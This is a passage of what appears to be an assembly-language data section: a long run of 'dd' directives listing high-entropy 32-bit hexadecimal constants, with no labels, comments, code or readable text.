0BE78BE4Ah, 0C80F2DE9h, 0E279A4DEh dd 9804167Ah, 3C5BC2D5h, 4B079FCCh, 0AA06315Eh, 0F78100A3h dd 0C41F1644h, 8530734h, 319632F1h, 75D878FDh, 0F63B2C92h dd 86D8A7A2h, 0D83D9B97h, 4F313BC2h, 0DD55891Dh, 20EEE5F5h dd 0C99FC1Dh, 5B2176A5h, 136D8C20h, 0EE037268h, 28A2D467h dd 6985F39h, 6F247033h, 2102D648h, 0D01AE954h, 1B011374h dd 0A60EBB47h, 0FD8BF898h, 0FF295F5Fh, 4524E829h, 59350055h dd 5EDFBB29h, 9F3F99h, 763405E9h, 4C327E88h, 731039D8h dd 49BB00A6h, 501CC437h, 132AB057h, 0B50CEF42h, 57E5F1B9h dd 0E4C2837Ah, 154C114Dh, 4A6918D2h, 5D7B0B09h, 0DE8531EAh dd 0CF12EF66h, 2FBECF15h, 8E9D7D53h, 1DA4560Ch, 16AD03EBh dd 0D3F70E4Ch, 0FBF65020h, 19E64E82h, 8F960C9Eh, 1AE386C0h dd 7484F98h, 7E73E635h, 0E8D46924h, 0A1015B45h, 762F3E8Dh dd 0CC1A1C6Eh, 0A59407EAh, 7F8B481Dh, 53C006BEh, 50C6240h dd 3A2B5728h, 728E8755h, 0B8431CCDh, 6F7D56A0h, 0CF50733Eh dd 0D7678021h, 0EE72D834h, 5A8B9516h, 0E4EB044h, 60C12A17h dd 0D3E84941h, 75AF977Dh, 0B33B7A65h, 0E8A2D7B1h, 4F670993h dd 0E8CCA256h, 0C037180Ch, 41D3C474h, 0FE75222Ch, 0A9AD7D0Ah dd 13F0C681h, 0FE204028h, 2E0B0498h, 0ECEFE97Ch, 282C4EB2h dd 0C342845Bh, 5A74E916h, 0F95525A8h, 4BF6C9CFh, 8B700B24h dd 0BB3ED3B6h, 0F71EF11Eh, 22BD2DA0h, 0DA3E90A2h, 7E0D400Ah dd 147A0D38h, 1F79AF70h, 0D340233Fh, 5E6EA011h, 751C16BDh dd 8C2C4B68h, 0C08AEF4Dh, 9F5BDAB4h, 363595D3h, 0F3B5C1AAh dd 0B96EAC88h, 0E2B04B2Ah, 0F8823454h, 0DFBAFC4Ch, 53231549h dd 4ED74B32h, 0DAC60627h, 0C3F6975h, 9F15C008h, 9B61D37h dd 0F5DC648Dh, 0CD008A0h, 0D2E90C14h, 16ED4BD1h, 0FCBD31EFh dd 632A04E1h, 90BE4955h, 184C338h, 0CD5C4A72h, 0B6CC3591h dd 599A4609h, 0C22A41Ah, 0F355A20Eh, 7620062Eh, 0E3E2022Dh dd 82A2DC7Dh, 47460C50h, 0E0131354h, 49B974C0h, 265F2C10h dd 0E108147Fh, 0EAEE845Fh, 494D10DAh, 7D52C60Eh, 3F22BE58h dd 451E70F5h, 37390B5Ah, 0CA906B42h, 9F3C5D11h, 25BEBFEh dd 0F2634F6h, 68568078h, 50326044h, 0A1257EB0h, 4B51F94Fh dd 1800FC33h, 4BD34C0Dh, 5056EB01h, 132908BEh, 4292E9F3h dd 5ABB6894h, 5D8B3871h dd 0C5BADDD0h, 354DA41h, 0FA43DA68h, 0B3E74A17h, 9F844E6Ch dd 6B8CB0FAh, 4830D94Dh, 0B6CB2023h, 4C8802D1h, 82095FBEh dd 575E26EBh, 22FD5AEAh, 76B4E940h, 0E6BD0183h, 0E820AE7Ah dd 88916415h, 1641D60Eh, 0AA973CEDh, 98E61D61h, 6F5D5802h dd 0E3DC8B0Ah, 20271455h, 0E1906186h, 1B262000h, 2A4F2D0Fh dd 51904E8h, 0C7233775h, 3B99B0EBh, 489D5C40h, 4A7DDD49h dd 7301F814h, 9FE9F109h, 0B43C684Eh, 61A12660h, 0F70304F2h dd 7408C0DAh, 5D5AD075h, 5E702CEAh, 8BF84FB7h, 1AD5ED50h dd 393F56CFh, 5157C382h, 1E8AC68h, 0E049F5E9h, 31EB0378h dd 0DA46C54Eh, 9A54DEE4h, 18F7FEE1h, 4C9A6871h, 0EFD24E60h dd 5249C000h, 0B92397E9h, 30DC0282h, 1DE27792h, 1956D02Bh dd 6B8FE970h, 7958D946h, 0E90CF19Dh, 64A11157h, 5F268038h dd 3ADD4019h, 0E5FD0193h, 0E9447F98h, 50082E7h, 316E1F68h dd 0EE9E63F4h, 0DADCBE01h, 47AFCFDh, 17D4AF6h, 9136866h dd 52017B39h, 8850EBB2h, 8F096BD4h, 31F9558Bh, 18D849C3h dd 0A297AD0Bh, 5D4CEE09h, 0F4B10441h, 7BF0C537h, 7C670F05h dd 0F0097144h, 2508D908h, 1427AB74h, 0CB014EEAh, 6CB91C41h dd 0E9452B41h, 0B63D51B7h, 0F5810460h, 3BFEDE9Fh, 0F8AD015Ah dd 0D6207248h, 5A07F6B5h, 6BD2BF62h, 59010D8h, 0AA571390h dd 0B4BA96Ch, 573E7468h, 0E9774D34h, 0C8AFA04Ah, 0AC4B4A2Ch dd 0F684A9A8h, 7CBE006Eh, 0B013942Ch, 9D8D1D15h, 182D80A0h dd 0E925E353h, 59823A4Bh, 4F80F15Ah, 0EE2A5FE4h, 0C311DACAh dd 3BE90902h, 253552DCh, 98D909BAh, 1F16A008h, 0ADF04C53h dd 0CE0EFE0Ch, 67A9C680h, 0F6FE4E6h, 41EE2684h, 537B0706h dd 3751F388h, 59E850DDh, 0F62D5A5Bh, 9EE54D8h, 827FC334h dd 0FFA4B837h, 45BD00ECh, 13542026h, 0FC015968h, 2053C547h dd 3FE49142h, 0FC68410Eh, 0AE37176Ah, 0ABF2417Ch, 38E984F1h dd 0CC5E2F9Ch, 0D7C28809h, 0D0300CB0h, 7A1974BDh, 0D5B49A5Dh dd 95AE6682h, 20FB665Dh, 5C2578F1h, 0BAE44C57h, 0AA5D2EE2h dd 0BBEE4479h, 1CBB4995h, 91E8D8CDh, 2C69CAE9h, 1E140F75h dd 4760CCD7h, 1201494Ah, 6EFC104h, 995E7757h, 9658C22Dh dd 43562D86h, 38B9B4EBh, 49352AD4h, 33E30408h, 18D1DE98h dd 83D531EFh, 48F7C1AAh, 8599D7FCh, 80BE935h, 0B6A60052h dd 2C70EF1Fh, 25D4F289h, 35E756E8h, 79122CE2h, 0DC38D7F7h dd 58C8E09Ah, 79303A76h, 7F34F237h, 5727D2Ch, 776805BCh dd 0E5BA091Eh, 0BFCE0761h, 8ADF7ACCh, 2D1826Bh, 7ED51DFBh dd 10BDA6E1h, 58B902A4h, 5D4ACC5Fh, 0DD534881h, 5D87301Eh dd 40E64160h, 0F2ABEEF3h, 85C3F988h, 0C47EE6FEh, 32BE2B26h dd 2B5C3363h, 0C7728F28h, 532FE7Ah, 5EEB25C2h, 0A51B0169h dd 3A21DC86h, 0CBBF8D16h, 722E1708h, 0C3AB7F35h, 45D9116Ch dd 51EE202Dh, 5A735F18h, 4EF150Ch, 0DD31E784h, 6581AF5Bh dd 8C82996Ah, 6D32B9B8h, 612C876h, 680B79B8h, 5D715772h dd 0E338AC8Ch, 0D4DB13F1h, 0EA5804C6h, 98EF53D5h, 87585DAEh dd 0E9D80697h, 33D837Ah, 0B71F11C9h, 4A1A4915h, 0F00EDF94h dd 0FF2D4B03h, 6930BD3Dh, 8A2B5F0Ch, 0AAC65FB7h, 9C479D02h dd 90E2A648h, 0C15D0443h, 3B4B73CFh, 0F8F77700h, 0BD490917h dd 0FA00506Ch, 813E9808h, 64478E2h, 1BE93AEEh, 4126515Fh dd 0D6896A94h, 91A0555Ah, 67F5579Bh, 0D0A7E1EDh, 21B57B0Bh dd 0EAB0E916h, 8C00C135h, 0C4642135h, 7D5384Ch, 6C72CB29h dd 0CB9E5117h, 5289B77h, 0D27A2762h, 41C4BD13h, 1AF12008h dd 2DFEE254h, 228D0816h, 732CA2F8h, 0C45599C8h, 4B52931h dd 70397252h, 0D11831A9h, 0FBEA6993h, 0C32DA209h, 0D4494052h dd 0E2C4860h, 0FD4FC838h, 0B1D6DE41h, 0A3B77A1h, 5AE9A85Ch dd 391141h, 781DCDB9h, 789CB8F5h, 2D028409h, 21068730h dd 52A256F8h, 0FA6D485Fh, 2812E1C5h, 0E5DD8429h, 0CBBA5200h dd 685EFB6Bh, 247F47E9h, 0CF26D34Ch, 0E5A92D2Bh, 0F42005FCh dd 9BB22E5Ah, 56AA2486h, 0DB0669B8h, 48277773h, 64189010h dd 0FC561EB7h, 175E3DEEh, 0A6540D3Fh, 8704518Ch, 6726E10Ah dd 0DFBC27F2h, 68093411h, 0E957B025h, 2F039E7Eh, 576B5271h dd 8F206046h, 345D5BDFh, 3F76801Ch, 282FF12Fh, 128756BEh dd 75DDB031h, 57257696h, 14264F0Fh, 609844DAh, 0C155F10Fh dd 765B6937h, 0DCF7427Ch, 4EF6AD06h, 69BD28Dh, 0BFFCCFC3h dd 71196AD1h, 0C1C8E66h, 455F2565h, 4434455Dh, 19DAE8CCh dd 132FA70Ch, 0F617B8B9h, 31CA4B22h, 39A35ABFh, 32B10462h dd 0C2FB2E77h, 0D9830905h, 532D699Ch, 68FA6AC1h, 306F2C76h dd 0AF0C14F2h, 4E2C1132h, 8602FF55h, 624D1247h, 75A361A2h dd 0B252F150h, 0D7282741h, 0E03A35F4h, 20E9C606h, 5F86CBB4h dd 0A645477Dh, 61288C0h, 4FFFC393h, 2A865DABh, 1906598h dd 2D1BE83Ah, 2DBA0265h, 0A960BEAh, 7FB2453Fh, 444F6B9Eh dd 0E6EBC6D8h, 2CBC48A8h, 0F7AD1657h, 91D12102h, 81565A01h dd 505D2683h, 0C8280714h, 988B07F7h, 1126FC12h, 8413DB9h dd 0EF257A62h, 347958C2h, 10F20540h, 68470901h, 0CDD46A8Fh dd 31307360h, 1F609D23h, 0DA3F431Dh, 5DEF9447h, 4B140585h dd 0BEC2CB8h, 45684F04h, 0FF8CBE51h, 4EE412B9h, 1FB70952h dd 61800D5Eh, 5807CF1Eh, 7733002Dh, 0DF354F89h, 0F8309BB1h dd 1B22F150h, 0D7384C48h, 5A07F328h, 704F958h, 7698692Eh dd 1640E3F0h, 9A43482Fh, 447EB51Fh, 0ACEF8737h, 8F9074F7h dd 18018A00h, 0E9FB2162h, 75B0AA5Fh, 0DB9E9F94h, 75E50A8h dd 5A049DB7h, 0A32E2868h, 90FB1391h, 0A64E30FFh, 175E6251h dd 9501C484h, 345B542Dh, 6ECDCA80h, 7BE9A474h, 2EC20955h dd 0E06E3AA5h, 0B96BBAA8h, 59705650h, 0D5509646h, 550B0109h dd 16CB9440h, 6326918h, 2847D062h, 0D9361FEh, 7362665Dh dd 3174CD0Ch, 9DB06B21h, 0EEFC4A8Ch, 23DA8321h, 0B015653Dh dd 0AD13D6F9h, 13BF5649h, 520E42Ah, 0EAC7EEA0h, 178B3D3Fh dd 77EFE71Ch, 0AB9B2CAh, 614384F6h, 0ACE0D19Dh, 71C44762h dd 1FC9BA9Eh, 0F93C7CE1h, 68C5FE04h, 25FBB963h, 2F4F1AAh dd 1BD8642Ah, 13E71C1h, 16DC53ACh, 0E09D9EB1h, 757C45BFh dd 7420A598h, 0D668187Ah, 0CFBE593Ah, 0F38C495h, 55F258Fh dd 0D1A3788Bh, 3DBBD22Ch, 0F200BD9Eh, 0A3E53EDEh, 0B25AD089h dd 0C3B0D49h, 7B0E444Ah, 325176F0h, 7262D91Ch, 4A2F347Eh dd 846BC3BFh, 55F9F3E1h, 8FD4F409h, 5AB4F69Dh, 6804BEFCh dd 31EB6ED4h, 2A456249h, 5C1EAF30h, 90714C39h, 97CDB92Ah dd 89C03642h, 1900CAFh, 4DC7ACA0h, 3723611Ah, 0A4AD7D0Ch dd 0B0D53E0Ch, 431320FCh, 0EFE54BD4h, 10D61280h, 93A0F889h dd 9B1C0AA7h, 0A4FB351Eh, 0C00F95AEh, 0E637A701h, 0EB53B115h dd 0B93744FFh, 0D271ED86h, 0EF4A21CFh, 90D0D904h, 2027E3ADh dd 45AA938h, 0F028EE0Eh, 0B09E9D2Ch, 0E125B566h, 8B6B5E5Bh dd 0B1784CC6h, 0A66269E9h, 620FCF05h, 0F79B03C5h, 2AF2159Bh dd 99C8C80h, 0CC17B42h, 54A57E49h, 308B30B8h, 52001D0Ch dd 15D5E68Ah, 5D0150B7h, 4EF99Fh, 36BEE585h, 68766C17h dd 0E9E44CEBh, 1827AC27h, 4A19F531h, 0F1930A66h, 7C31E06h dd 0C1497113h, 0D81851EBh, 0FB68294Bh, 1C34081Ch, 0F95F140Bh dd 4F85497Fh, 0C829CCC2h dd 6CEBF892h, 559469ABh, 6AA79BE5h, 54C44232h, 0D0E84Fh dd 256CAC0Ah, 0E912CA31h, 6AD06D82h, 5ADE4DA9h, 0C9960121h dd 0E1D72232h, 83E1E149h, 77396D22h, 59CED016h, 0D0CAA24Eh dd 0EA7E9F79h, 828E3E58h, 0D47E6257h, 0E3C46F11h, 0EB7BAF0h dd 113C337Ch, 79B14D22h, 81942F73h, 3D6C40B0h, 0A5E10345h dd 0FEA29BE9h, 0DD662840h, 0C7EFCC91h, 0FF0B94CBh, 0E9059E4Fh dd 5EE94794h, 232F9F1Bh, 85AC5C02h, 0D1CB89BCh, 0F444AF21h dd 0FD8F2D2Fh, 519D8714h, 8480C9CEh, 7BEB7C87h, 4515097h dd 4B3F27F7h, 5058F10Fh, 4DEB6EF8h, 48F66827h, 0CF5D3DDDh dd 0C84BF0Ah, 9A09EA8Ch, 7069555Ah, 0D2136B35h, 57599A61h dd 0C0D96EF4h, 2068C3D3h, 990118Ah, 3370C00Bh, 0DA8B5726h dd 360566DCh, 8F0119EBh, 64D34FC8h, 5080D83Eh, 0EFCB2326h dd 16466A08h, 8000175Bh, 1E44B8B2h, 0D16F8025h, 86F540EAh dd 0C25E3EABh, 52EF41EFh, 7E8EC6E9h, 6EE0338Ch, 2181AFCFh dd 2B53D66Ch, 0EBE441AFh, 6E765471h, 50F4E0h, 0BD073508h dd 58A2214h, 0AA8B015Eh, 4A79E24Fh, 8AC07288h, 0AE689510h dd 0BCF60F4Ah, 7298E909h, 8103E56Eh, 0B2077DC5h, 52D1E44Bh dd 680090A1h, 9995724Ch, 0DAD4F365h, 0A7CC2AE9h, 0D8E9812Fh dd 304B5939h, 66D0315Fh, 6D84EF5Eh, 283A90BEh, 212AE710h dd 7625938Bh, 84685DA9h, 180C443h, 58D1CCC3h, 5382A424h dd 88D4328Dh, 36F25904h, 0B2F2C99Fh, 2F617468h, 0BB5A4A01h dd 6C12A2EBh, 0B54B6831h, 0E005325h, 7D7301DDh, 720DFBEh dd 38A711A1h, 34AA5A03h, 4932A057h, 55AC6A09h, 8EE2829h dd 55048713h, 0FE5D659Bh, 73317938h, 3AF5DF7h, 0FC34B242h dd 14DD2F77h, 0C5FAFE3Bh, 0FBE2C173h, 0FBD49CB1h, 974DEE73h dd 0BC7FA009h, 0D7E91339h, 542D9C35h, 3CAE5D5Eh, 550056A8h dd 0C206A1BDh, 1415BE7Ch, 0F3DB62FEh, 0E980A44Eh, 8DD9732Ah dd 0B620E677h, 70FBB717h, 78B9588h, 0A6B353h, 0DE045BD8h dd 810FC9FBh, 166EEAFh, 628356F3h, 3BA75BD9h, 4EAE1804h dd 4ABE38Eh, 8BDF0132h, 0EAA84A92h, 0F496F84Ah, 5008A4AAh dd 805A8BC9h, 0D53A2F22h, 0C48A9F79h, 0D553454Fh, 0EB1BEFDh dd 0EE8B436Fh, 0FF88EF01h, 1B8F229h, 7A12D8E6h, 4C0836D6h dd 62BD0176h, 7F5C0D09h, 48933283h, 2210CF73h, 5EFE5E5Fh dd 651D8C3Ah, 5939EC15h, 28018F80h, 582AABE2h, 2CFF8042h dd 0BE5F0EDFh, 1F572D6Eh, 6BB81A7h, 0CFE9408Ah, 4B0F2BCEh dd 494A327Dh, 3C45139h, 7F5E5651h, 260B209h, 0CA7A0127h dd 0E7315B4Dh, 0C1941C40h, 0E9C03D61h, 0E95BEA49h, 1734C86Eh dd 5A15A802h, 1D25713Dh, 47777681h, 804A3FFFh, 947D596Ch dd 9E99E94Bh, 43892D3Bh, 595DA292h, 335E2515h, 0A56F2188h dd 5FC694F7h, 0C944FF5Ch, 66008A64h, 513C1CBFh, 523CB9EAh dd 0C516CF1Fh, 97331D98h, 4C8BF85Ch, 0C7F82896h, 0BD0E1910h dd 253F9F99h, 24EA2F63h, 6EC7816Bh, 0AFE268EBh, 0E4D15354h dd 0C102C562h, 46126887h, 881A572h, 87F425Fh, 33A6658Ah dd 0AA2588Eh, 24A15AFAh, 0D63628A5h, 78ECA365h, 0EA476817h dd 1AE2E9CCh, 743F9627h, 0E105D346h, 2670418Dh, 3C1F60A0h dd 26E04D7Fh, 27A5D568h, 0D29AFBEAh, 0D6D919C3h, 0C9BBF5B6h dd 500AE952h, 4BEF81A2h, 37286D13h, 93F61AFh, 0C523818Eh dd 0CA01A57Ch, 298E26Eh, 539D12F8h, 3B96DF59h, 0A7C6A02Dh dd 0EC8259A0h, 0FD5F2B1h, 5167188Eh, 34A4664h, 73EA0958h dd 9FD11358h, 0B0DC09FBh, 517701C2h, 0E96C4CAEh, 0CA05B825h dd 44D9F7E6h, 0FF028BADh, 0F4089FC5h, 0C30906D2h, 1F12CA58h dd 0AA1E3745h, 0E6852041h, 0F43A89A2h, 0FA173E89h, 8F00B050h dd 6BAB353Fh, 9CCF5101h, 8FBB0805h, 11CA4AD6h, 118EE90Dh dd 0B50B3FA3h, 0D57703F9h, 0D16C9344h, 208F7FC9h, 0D744FC2Dh dd 0A684AB1Ah, 0CBE90703h, 0E2230207h, 313AA7EFh, 321A668Bh dd 0B50B8F0Ch, 12A48853h, 0B4CDFD01h, 540D1933h, 405D7EE9h dd 761A0C34h, 65F83276h, 7C336149h, 0D73D2874h, 890B933Bh dd 958650EDh, 64BFDF5Bh, 69D20A4h, 677ABF04h, 95BB179Fh dd 42F1FFA3h, 8402E36Ah, 0CF7CDACh, 2B4FF15Bh, 17B672E8h dd 831D2987h, 0C0145FA7h, 849C5C4Fh, 5A127A94h, 0AC138D01h dd 0B5096C2Ah, 0C6ECF78Bh, 40B0B4B9h, 1EF28C8h, 9ABE5638h dd 3A23AD24h, 4D4A30A0h, 0DD0CFF73h, 0E7E62D39h, 0EFADCB4Ah dd 0AB5A3C85h, 4C2E23DCh, 6489799Ah, 6B2FA671h, 1E8998C4h dd 0AC284BA9h, 4ACF9693h, 6852560Eh, 0C2AE5844h, 875CE88Eh dd 0D387B3Bh, 38EE4E32h, 0C05BE918h, 0F8EEF941h, 7FFA7703h dd 0FE69F5D9h, 7CE95897h, 624FFD5Fh, 234BE746h, 5FA385B2h dd 10B7A5D2h, 8FA022Eh, 0F201BFDEh, 3CA0B31Ch, 0C25E5D56h dd 78F9C6A9h, 97EC3449h, 92885256h, 0CF880BA6h, 3E8F657Fh dd 0C622F83Fh, 4A37E918h, 1E69C3F9h, 0CC565578h, 3B99C82h dd 68535B05h, 79F86214h, 50554C4h, 10F8D2E9h, 0F9505E16h dd 165889B7h, 6BE92C57h, 6A5F9866h, 7197CE5Ch, 1FC5815Ch dd 0F97E6F2Dh, 10162FCFh, 253F7CB6h, 8F94B24Bh, 27CCA9CBh dd 3CD1BF20h, 812B078Bh, 7F2D7783h, 0D0869734h, 52584CE1h dd 0CB2F5404h, 7C7DC029h, 160FA1Ch, 516FC70Ch, 94E91306h dd 0EA39BF3Bh, 18195E60h, 34E38256h, 0D2092AD9h, 88D70123h dd 7F2508ADh, 6E974314h, 0EB6815A3h, 6E259367h, 0EFC01981h dd 8AB2E305h, 9B2D15Dh, 0BC7EC152h, 5E7CE62h, 16B4BC5Bh dd 85ECEE3Dh, 9CEA4ADEh, 0AF5EAFB5h, 35F5AA02h, 0E1802443h dd 4A7DF219h, 3E09802Fh, 975C5F33h, 88262F2h, 5AA1949h dd 0CB2513F8h, 0F696357Ch, 3793F207h, 0FC4F27B2h, 0CA084BFh dd 0F74BC038h, 890E058Dh, 0ECCF870Bh, 2BE908D1h, 8BD4BB66h dd 0EB9416A7h, 0A632A7B7h, 5A769EFBh, 390EFA5Ch, 0F197B8A4h dd 0F4131373h, 0FD5FB25h, 28989ABBh, 265AA221h, 0C64ADF0Eh dd 24B907Ah, 0FC333FC2h, 60F731B0h, 96FB56E5h, 14539637h dd 0C280AA1Fh, 129D1BAAh, 0C94B29F6h, 0FC786CF2h, 0C127CB3Ah dd 93A62A56h, 0C8FFD113h, 1516B556h, 0CBFF2C35h, 0D5F2D7ABh dd 3E840D01h, 51BC61E9h, 30D387ACh, 65DAE576h, 0A59C62C0h dd 0E95F38C6h, 64552E3Bh, 3287BC08h, 0D5E48D1Eh, 25EAEF05h dd 0E601386Ch, 804DCDC2h, 0B75FF960h, 0B6ADFFB0h, 727F20A0h dd 0CF597995h, 62773EC4h, 0BE83A03Bh, 7AF57262h, 0FD34A03h dd 0CDDD2941h, 8C324291h, 1AB343A6h, 5A5D2752h, 6817905Dh dd 0DA704E7Fh, 2DAA4E99h, 0A202FEF4h, 71BA5F35h, 150A476h dd 725997CEh, 74C7DF9Fh, 4351B936h, 5C61FEFBh, 0B94721C4h dd 3BCBCE0h, 410E28DFh, 0C58075C0h, 65EDC083h, 0F0070608h dd 12F16D0Fh, 770B7F54h, 0B7061F94h, 86E3E909h, 295E2720h dd 6817EAF2h, 0ABA93D62h, 37BA52A0h, 32E74013h, 4A260FA8h dd 36FB0D70h, 5E86B16h, 0D463A4CDh, 0DAEB83F1h, 0C3517BFDh dd 28058792h, 0FE093FBAh, 5DB78409h, 969D5F3h, 0E4AB5555h dd 4AFBEB55h, 4514B916h, 83AD600Bh, 0E2507CBFh, 31DE9A51h dd 2A222ECh, 0E93A9131h, 5A0BC3F5h, 7F410F92h, 62AE4DD0h dd 7706BDF7h, 27CBCD59h, 3EB8775Ch, 0B9ABFC7Ch, 12074206h dd 0B745715h, 25C11C74h, 3AAFD00h, 70BD533Eh, 8EE51A2h dd 0A5488B4Bh, 750A2F06h dd 0BE783A1Eh, 5AB49F27h, 8F979E1Dh, 0C0B558E9h, 6402C716h dd 83F4AB29h, 48DA61Fh, 3925383Eh, 6857A129h, 6EB6B1F3h dd 34D3A806h, 0E15053ABh, 0F21B21A5h, 2816C380h, 619D27E3h dd 0F107FF55h, 3A4E7068h, 71532C98h, 522800BBh, 1ABD550Dh dd 705CE06Bh, 260804F2h, 86EF06C3h, 660F703Fh, 0E04E6578h dd 905189CFh, 4F472463h, 5D9402D9h, 0EFC1132Ah, 5BDDCC5Fh dd 4B329EB5h, 0F7F8C5Ch, 68C8BF06h, 2FE93841h, 0B05919EFh dd 8C17ACC8h, 1A854037h, 501CE4F8h, 2D68895Bh, 0F3BF2358h dd 0E0E9E104h, 0C393388Ah, 12402568h, 0ABC62F1Dh, 8F40A2E3h dd 2C03096Ah, 905A510Ah, 6CA140E7h, 2031AC44h, 0CD01F629h dd 0B059A71h, 940979B8h, 0D02A231h, 82DAB893h, 0A8388938h dd 7E0BDB0Dh, 75576D2Bh, 26913760h, 413C6527h, 0B72C1C2Fh dd 28B0B20Ch, 0C89DC112h, 3C53802Ah, 4CDC3464h, 0DDE78102h dd 0BF7EF358h, 0FFAC6E09h, 5C9D4414h, 9477E575h, 49DFAE7Eh dd 2B27680Ah, 17DC8B94h, 0CE20325Ah, 34557C29h, 80D159Ah dd 40B549C9h, 1B845CA3h, 0CB590EB0h, 0F47BAB97h, 9F572FF9h dd 0CB7E25A5h, 0FFBBE9C1h, 3E05DD2Ah, 0B3E4789h, 0ECA56DADh dd 0EECFBE5Dh, 1277C719h, 2DD5401Ah, 80A13954h, 5E6184A5h dd 0AC81CE81h, 9E400168h, 4AE60A42h, 41C5AB02h, 1FDC5E81h dd 0FDB19203h, 10C57D2Eh, 44A091Eh, 1BF21BFh, 0B652A1B7h dd 0EC6EF20h, 8005EEC0h, 5C85AFABh, 0D139AB3Dh, 0A42869F9h dd 0F425C05Ch, 56056383h, 250BE180h, 3579214h, 0E75F04CDh dd 15C6EFB0h, 317A5F7Ah, 4C27451h, 4FFBA3FFh, 5A54E128h dd 0E479F95Bh, 9B8E1C8h, 3606091Fh, 80087304h, 0A967CB8Dh dd 0D1F72E12h, 46BEA700h, 81729Dh, 0A8793BF3h, 59BAE971h dd 17828A96h, 57A71BECh, 1BA6BDC3h, 978116BDh, 4C970372h dd 821282C6h, 0FF602E37h, 75958D1Ch, 57504420h, 0E9165F58h dd 31AF9173h, 21DC88E4h, 207665CEh, 4218B19Bh, 0D55C2BC5h dd 2AA983CFh, 7AE83B80h, 0B9209794h, 60CD8181h, 0BEF67799h dd 3527E24Ah, 719CCB87h, 0BF5BFEC2h, 0FE80EF0Eh, 28E22CC0h dd 89A0C34Ah, 0D6043887h, 8B58D83Eh, 0AD334526h, 0AD292F72h dd 0D1082DDEh, 68570538h, 178CED9Bh, 0DECCBB86h, 39735925h dd 0E505F016h, 0EB774746h, 0C48913D7h, 0A87BC4A1h, 0DBDCF116h dd 0B704B83Ah, 52EBABE3h, 0F301001Ch, 31293B60h, 8BFD6FD9h dd 0B9D15C27h, 0FC95AB62h, 0BB004946h, 42DA723Bh, 2283C6A0h dd 75C89225h, 0F505A1C4h, 46881C14h, 55B081EFh, 3E043F1Bh dd 38FFFB7Bh, 564843C1h, 0B56A20D9h, 6F48FA68h, 5D60B77Eh dd 8D1F280Eh, 4DE9247Ah, 515681EDh, 0F94A1868h, 0D670F039h dd 1589AB9Eh, 9CECD7C2h, 5831DEB7h, 0F6957F0Dh, 2870D992h dd 9CB007E2h, 79D7D0F6h, 201BAFB7h, 7397010Fh, 93849D93h dd 0B6D0EF89h, 4E78E62Bh, 1A8C4AAh, 0BC3E75E9h, 62B53A44h dd 0A6240805h, 0E9C274F3h, 94F4E37Dh, 31F900A7h, 9729575Eh dd 0D30BD170h, 0F5D6A8A1h, 82F593E2h, 77E7C4B7h, 4F884CDBh dd 52A840C9h, 93900638h, 2A65C109h, 0B5AFDF1Dh, 8507B0F4h dd 997DD502h, 0C2492004h, 0FF5192E7h, 0FE5D2E3Eh, 9E6A8405h dd 56EA8F80h, 3ED23039h, 0E0B499Ah, 55E9B016h, 0CE5BB782h dd 0D1FD4C3Ch, 18FFD727h, 0CA4CDB14h, 0AB0920h, 937DF781h dd 214F377Eh, 8E2A49AFh, 33AB502Eh, 695CDEE2h, 2D2CD352h dd 680C31F7h, 0E05FEB0Ch, 0FE9762FAh, 0CC2FE1FCh, 6E5E5DD2h dd 36F19141h, 0CED9307Eh, 6305E818h, 56130B9h, 62E9E90Eh dd 817DD967h, 81668CEh, 4B05343Ah, 3A16F90Fh, 410EA295h dd 6B0014Eh, 0B8B07B88h, 0B57E4E07h, 4F5B6043h, 21BBA84Bh dd 18285EBh, 8FCD801h, 9928BA96h, 9E350CE0h, 9194BB12h dd 832BF5ADh, 682B774h, 8965E649h, 0D4F9FA08h, 0F839502Bh dd 0A7A4BC4Ah, 0C3E031C4h, 5A9800BFh, 0CF8175F6h, 0D0041545h dd 177CE90Ch, 9648E9F2h, 8A4EAB39h, 44EF5A50h, 9366E9B3h dd 4E25CBDh, 70B0CAEh, 0C3149245h, 113035ECh, 0DC594BBCh dd 0EE8F9C12h, 0B5EFEFC8h, 0D45109FCh, 0C118C73Ch, 33E5EAE7h dd 17C6989Dh, 6B182750h, 0CB7D287Dh, 0A969AE0Bh, 10D25FD0h dd 216942F6h, 0CFBFC97h, 0E24D0C98h, 26315395h, 0E11F2847h dd 173CAE2Eh, 6204EE9h, 0EFE87C4h, 0F1E9C29Dh, 295CD060h dd 2156CEB5h, 0BF813C50h, 6605230Bh, 16F6D270h, 0C1D00408h dd 0A7A31031h, 0E4E48571h, 5ACBD7F8h, 8BEDC57Dh, 55167C55h dd 40293440h, 0D0A0588Ah, 5E8085A2h, 0A83BF35Fh, 30E9A876h dd 0C2EDB6A4h, 0D758471Fh, 0C63B153Dh, 255086F5h, 489E9026h dd 7B0E766Ch, 0E5362F5Bh, 4944F162h, 415010Ch, 3947F452h dd 2A0223DEh, 70281F70h, 0BF62A12Ch, 0B0080A4Ch, 1F445208h dd 22DA680Bh, 0E9D1CE74h, 0F9BAC944h, 0BB57A42Dh, 3F0C0216h dd 651D31Bh, 0ED805DB5h, 0F234FCB4h, 45EA3D7Fh, 88B110D0h dd 7B4E8E94h, 0C5E427BEh, 39AAA677h, 0B03BAFE9h, 0BB081B6Ah dd 0F1CB3C63h, 0AED2053Ch, 61B21CE2h, 0C381387Eh, 6E4A41A7h dd 418DF83Ah, 0AD814308h, 760B2776h, 0F5779E0Ah, 0E2840F9Ah dd 45EE1692h, 0B4C596B9h, 0B13951D0h, 148698E3h, 974266A6h dd 8C5FE048h, 2E69F382h, 96572FB2h, 0DE63A280h, 0A568D086h dd 23B2335Bh, 0EFED2593h, 0D74863DFh, 0F47AC685h, 474A1ADFh dd 0B41687A3h, 0DFB37Fh, 3EEC48B7h, 4A91E945h, 5E21E779h dd 0EF2C57EEh, 62AE9B75h, 81E8D7DBh, 0AD163F05h, 12BBDF8Fh dd 6E41FF82h, 9F01840h, 7D93492Fh, 4C7538C2h, 0C22DBEBDh dd 0F8D4FAA7h, 5211ADBBh, 41CA82C1h, 0C8C01D61h, 0EF2AE92Ch dd 0B92A463Dh, 0E95CC135h, 0B36B68BDh, 7D98C5EFh, 13DAD7B4h dd 0BFC38E03h, 23128F16h, 87872CAEh, 88AEEF4Ah, 552457BEh dd 0FA0B115Fh, 6AB66861h, 90FEB7C5h, 57FE63C2h, 5452B4F1h dd 0A7056B2Eh, 9991444Dh, 814E00A7h, 3E5D57CEh, 11633A1h dd 88A55DCCh, 592713A9h, 0DFDC07CAh, 31C6FFDDh, 28291CAEh dd 50406DDEh, 0B5CB48E9h, 1A470DD4h, 7F251CBEh, 68274A96h dd 0DD98D780h, 7EE12B79h, 0C550D6E3h, 0CAA91646h, 9AEAB83Eh dd 0C935F24Ah, 